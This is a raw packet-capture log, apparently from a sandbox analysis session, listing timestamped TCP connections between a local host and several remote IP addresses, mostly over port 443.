Nov 23, 2024 21:11:22.458247900 CET	443	49744	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:22.458264112 CET	443	49744	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:22.458273888 CET	49744	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:22.458308935 CET	49744	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:22.459394932 CET	49744	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:22.459459066 CET	49744	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:22.460448027 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:22.460483074 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:22.460721016 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:22.460917950 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:22.460935116 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:23.885777950 CET	49745	443	192.168.2.4	172.202.163.200
Nov 23, 2024 21:11:23.931332111 CET	443	49745	172.202.163.200	192.168.2.4
Nov 23, 2024 21:11:24.247591972 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:24.247931004 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:24.247950077 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:24.248935938 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:24.248999119 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:24.249478102 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:24.249527931 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:24.250340939 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:24.250349998 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:24.296998978 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:24.476567984 CET	443	49745	172.202.163.200	192.168.2.4
Nov 23, 2024 21:11:24.476588011 CET	443	49745	172.202.163.200	192.168.2.4
Nov 23, 2024 21:11:24.476596117 CET	443	49745	172.202.163.200	192.168.2.4
Nov 23, 2024 21:11:24.476603985 CET	443	49745	172.202.163.200	192.168.2.4
Nov 23, 2024 21:11:24.476624966 CET	443	49745	172.202.163.200	192.168.2.4
Nov 23, 2024 21:11:24.476670980 CET	49745	443	192.168.2.4	172.202.163.200
Nov 23, 2024 21:11:24.476744890 CET	443	49745	172.202.163.200	192.168.2.4
Nov 23, 2024 21:11:24.476785898 CET	49745	443	192.168.2.4	172.202.163.200
Nov 23, 2024 21:11:24.476807117 CET	49745	443	192.168.2.4	172.202.163.200
Nov 23, 2024 21:11:24.498666048 CET	443	49745	172.202.163.200	192.168.2.4
Nov 23, 2024 21:11:24.498740911 CET	443	49745	172.202.163.200	192.168.2.4
Nov 23, 2024 21:11:24.498769045 CET	49745	443	192.168.2.4	172.202.163.200
Nov 23, 2024 21:11:24.498816013 CET	49745	443	192.168.2.4	172.202.163.200
Nov 23, 2024 21:11:24.508857012 CET	80	49723	84.201.208.104	192.168.2.4
Nov 23, 2024 21:11:24.509053946 CET	49723	80	192.168.2.4	84.201.208.104
Nov 23, 2024 21:11:24.509121895 CET	49723	80	192.168.2.4	84.201.208.104
Nov 23, 2024 21:11:24.705614090 CET	80	49723	84.201.208.104	192.168.2.4
Nov 23, 2024 21:11:25.356235981 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:25.356259108 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:25.356266022 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:25.356278896 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:25.356302023 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:25.356338024 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:25.356364965 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:25.356398106 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:25.356426001 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:25.432147980 CET	49750	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:25.432197094 CET	443	49750	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:25.432265997 CET	49750	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:25.432615042 CET	49751	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:25.432662010 CET	443	49751	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:25.432862043 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:25.432904005 CET	49751	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:25.432909966 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:25.432955980 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:25.433233023 CET	49753	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:25.433274031 CET	443	49753	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:25.433331013 CET	49753	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:25.434142113 CET	49754	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:25.434159994 CET	443	49754	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:25.434258938 CET	49754	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:25.435574055 CET	49750	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:25.435596943 CET	443	49750	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:25.436023951 CET	49751	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:25.436036110 CET	443	49751	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:25.436350107 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:25.436364889 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:25.437833071 CET	49753	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:25.437869072 CET	443	49753	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:25.438219070 CET	49754	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:25.438232899 CET	443	49754	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:25.486605883 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:25.486635923 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:25.486723900 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:25.486757994 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:25.486802101 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:25.528413057 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:25.528461933 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:25.528527021 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:25.528544903 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:25.528590918 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:25.582835913 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:25.582853079 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:25.582926035 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:25.582947016 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:25.582987070 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:25.614748955 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:25.614792109 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:25.618030071 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:25.618377924 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:25.618390083 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:25.678862095 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:25.678880930 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:25.678982973 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:25.679007053 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:25.679054976 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:25.702078104 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:25.702192068 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:25.702223063 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:25.741353035 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:25.741377115 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:25.741425037 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:25.741452932 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:25.741475105 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:25.760840893 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:25.760859966 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:25.760909081 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:25.760929108 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:25.760957956 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:25.777776957 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:25.777800083 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:25.777843952 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:25.777862072 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:25.777890921 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:25.814187050 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:25.814212084 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:25.814251900 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:25.814275980 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:25.814296007 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:25.833658934 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:25.833677053 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:25.833781958 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:25.833781958 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:25.833796024 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:25.854080915 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:25.854104042 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:25.854144096 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:25.854151964 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:25.854203939 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:25.932409048 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:25.932427883 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:25.932488918 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:25.932501078 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:25.932526112 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:25.932549000 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:25.932553053 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:25.935091019 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:25.935148001 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:25.935154915 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:25.935197115 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:25.945799112 CET	49745	443	192.168.2.4	172.202.163.200
Nov 23, 2024 21:11:25.945828915 CET	443	49745	172.202.163.200	192.168.2.4
Nov 23, 2024 21:11:25.945847034 CET	49745	443	192.168.2.4	172.202.163.200
Nov 23, 2024 21:11:25.945854902 CET	443	49745	172.202.163.200	192.168.2.4
Nov 23, 2024 21:11:25.948879957 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:25.948896885 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:25.948971033 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:25.948978901 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:25.949044943 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:25.956435919 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:25.956470013 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:25.956486940 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:25.956505060 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:25.956511974 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:25.956547976 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:25.956558943 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:25.956588984 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:25.956682920 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:25.956698895 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:25.957173109 CET	49757	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:25.957206011 CET	443	49757	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:25.957298994 CET	49757	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:25.957978964 CET	49757	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:25.957987070 CET	443	49757	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:27.207820892 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:27.208893061 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:27.208919048 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:27.209912062 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:27.209969997 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:27.211028099 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:27.211091042 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:27.211447954 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:27.211453915 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:27.250416040 CET	443	49751	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:27.251542091 CET	49751	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:27.251562119 CET	443	49751	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:27.251908064 CET	443	49751	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:27.252665043 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:27.255537987 CET	49751	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:27.255600929 CET	443	49751	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:27.255825043 CET	49751	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:27.267832041 CET	443	49739	142.250.181.100	192.168.2.4
Nov 23, 2024 21:11:27.267988920 CET	443	49739	142.250.181.100	192.168.2.4
Nov 23, 2024 21:11:27.268049955 CET	49739	443	192.168.2.4	142.250.181.100
Nov 23, 2024 21:11:27.303332090 CET	443	49751	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:27.313086987 CET	443	49753	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:27.317353010 CET	49753	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:27.317416906 CET	443	49753	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:27.321548939 CET	443	49753	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:27.321736097 CET	49753	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:27.322166920 CET	49753	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:27.322242022 CET	443	49753	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:27.322316885 CET	49753	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:27.332566023 CET	443	49750	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:27.367224932 CET	49753	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:27.367285967 CET	443	49753	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:27.371897936 CET	443	49754	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:27.377170086 CET	49750	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:27.410212040 CET	49753	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:27.424467087 CET	49754	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:27.433058023 CET	49750	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:27.433088064 CET	443	49750	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:27.433198929 CET	49754	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:27.433228016 CET	443	49754	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:27.434612036 CET	443	49750	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:27.435524940 CET	49750	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:27.435554028 CET	49750	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:27.435564041 CET	443	49750	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:27.435739994 CET	443	49750	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:27.437310934 CET	443	49754	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:27.437344074 CET	443	49754	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:27.437381983 CET	49754	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:27.437973976 CET	49754	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:27.438075066 CET	49754	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:27.438087940 CET	443	49754	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:27.438153982 CET	443	49754	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:27.484122038 CET	49754	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:27.484144926 CET	443	49754	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:27.484178066 CET	49750	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:27.532567024 CET	49754	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:27.598365068 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:27.606261015 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:27.606290102 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:27.607289076 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:27.607348919 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:27.608258009 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:27.608335018 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:27.608423948 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:27.622993946 CET	49739	443	192.168.2.4	142.250.181.100
Nov 23, 2024 21:11:27.623028994 CET	443	49739	142.250.181.100	192.168.2.4
Nov 23, 2024 21:11:27.650274992 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:27.650301933 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:27.696140051 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:27.834307909 CET	443	49757	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:27.834625959 CET	49757	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:27.834655046 CET	443	49757	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:27.835819960 CET	443	49757	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:27.835872889 CET	49757	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:27.836164951 CET	49757	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:27.836222887 CET	443	49757	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:27.836299896 CET	49757	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:27.836308002 CET	443	49757	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:27.876723051 CET	49757	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.012712955 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.012774944 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.012797117 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.012845039 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.012856960 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.012886047 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.012887001 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.012903929 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.012907982 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.012931108 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.012953043 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.019457102 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.063606977 CET	443	49751	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.063627958 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.063632011 CET	443	49751	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.063658953 CET	443	49751	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.063704967 CET	49751	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.063714981 CET	443	49751	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.063728094 CET	443	49751	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.063747883 CET	49751	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.063779116 CET	49751	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.065630913 CET	49751	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.065644979 CET	443	49751	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.065970898 CET	49759	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.066004038 CET	443	49759	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.066073895 CET	49759	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.066746950 CET	49759	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.066756964 CET	443	49759	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.118247032 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.118310928 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.118333101 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.118372917 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.118376017 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.118393898 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.118413925 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.118413925 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.118433952 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.118448019 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.118451118 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.118469000 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.118504047 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.147933960 CET	443	49753	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.147958994 CET	443	49753	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.147989988 CET	443	49753	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.148010969 CET	443	49753	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.148021936 CET	443	49753	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.148042917 CET	49753	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.148060083 CET	443	49753	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.148070097 CET	49753	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.148099899 CET	49753	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.149070978 CET	49753	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.149105072 CET	443	49753	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.149652958 CET	49760	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.149714947 CET	443	49760	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.149774075 CET	49760	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.150237083 CET	49760	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.150252104 CET	443	49760	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.183007956 CET	443	49750	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.183073997 CET	443	49750	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.183095932 CET	443	49750	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.183125973 CET	49750	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.183134079 CET	443	49750	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.183166027 CET	443	49750	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.183187962 CET	49750	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.183207035 CET	443	49750	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.183226109 CET	443	49750	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.183286905 CET	49750	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.183286905 CET	49750	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.183310032 CET	443	49750	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.194282055 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.194319010 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.194369078 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.194379091 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.194411993 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.194439888 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.194439888 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.194448948 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.194489956 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.234903097 CET	49750	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.234921932 CET	443	49750	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.244584084 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.244673967 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.244690895 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.244720936 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.244748116 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.244759083 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.283165932 CET	49750	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.315078974 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.315089941 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.315109968 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.315149069 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.315170050 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.315186977 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.315198898 CET	49756	443	192.168.2.4	13.107.246.63
